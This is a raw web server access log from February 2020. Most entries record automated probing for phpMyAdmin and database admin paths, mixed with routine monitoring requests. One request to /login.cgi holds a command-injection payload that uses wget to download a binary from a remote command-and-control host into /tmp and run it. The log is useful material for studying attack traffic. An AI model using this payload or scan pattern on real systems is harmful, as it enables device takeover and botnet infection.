49.232.160.120 - - [24/Feb/2020:07:17:56 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:17:59 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:17:59 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:17:59 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:17:59 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:00 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:02 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:03 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:07 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:07 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:08 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
85.1.120.207 - - [24/Feb/2020:07:18:11 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
49.232.160.120 - - [24/Feb/2020:07:18:15 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:15 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:15 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
85.1.120.207 - - [24/Feb/2020:07:18:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
49.232.160.120 - - [24/Feb/2020:07:18:17 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:18 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:19 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:22 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:23 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:23 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:23 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:24 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:25 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:26 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:27 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:27 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:27 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:27 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:07:18:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.232.160.120 - - [24/Feb/2020:07:18:29 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:30 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:31 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:31 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:31 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:32 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:35 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:35 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:35 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:35 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:35 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:35 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:36 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:37 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:39 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:39 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:39 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
85.1.120.207 - - [24/Feb/2020:07:18:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
49.232.160.120 - - [24/Feb/2020:07:18:41 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:42 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:45 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:46 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:47 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:47 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:47 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:48 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:51 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:51 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:51 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:51 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:52 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:53 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:55 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:59 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:59 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:59 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:18:59 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:00 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:00 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:03 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:03 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:03 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:03 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:03 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
85.1.120.207 - - [24/Feb/2020:07:19:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
49.232.160.120 - - [24/Feb/2020:07:19:04 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:05 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:06 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:07 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:07 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:07 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:08 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:08 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:08 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:08 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:09 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:10 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:11 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:11 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:12 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:13 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:13 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:14 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:15 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:15 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:15 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:17 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:18 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
85.1.120.207 - - [24/Feb/2020:07:19:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
49.232.160.120 - - [24/Feb/2020:07:19:19 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:19 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:19 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:19:19 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [24/Feb/2020:07:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:07:20:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
121.226.83.156 - - [24/Feb/2020:07:20:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:07:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.1.120.207 - - [24/Feb/2020:07:20:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
85.1.120.207 - - [24/Feb/2020:07:21:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [24/Feb/2020:07:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.1.120.207 - - [24/Feb/2020:07:22:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [24/Feb/2020:07:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.176.193.36 - - [24/Feb/2020:07:26:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
178.176.193.36 - - [24/Feb/2020:07:26:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:07:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:07:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:07:27:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:28:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:07:29:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:07:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
